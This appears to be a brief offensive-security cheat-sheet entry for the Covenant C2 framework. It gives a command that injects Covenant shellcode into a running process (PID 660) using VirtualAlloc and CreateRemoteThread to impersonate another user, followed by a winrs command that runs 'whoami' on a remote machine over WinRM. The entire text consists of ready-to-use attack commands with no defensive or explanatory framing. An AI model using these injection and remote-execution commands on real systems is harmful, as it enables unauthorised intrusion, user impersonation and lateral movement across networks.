To impersonate another user using a process (assuming PID is 660). Need to inject COVENANT SHELLCODE (file extension is *.bin not BINARY which is *.exe):
Inject /processid:"660" /allocationtechnique:"VirtualAlloc" /executiontechnique:"CreateRemoteThread" /payloadtype:"PICPayload"

Run command using winrm:
winrs -r:targetmachine.local "whoami"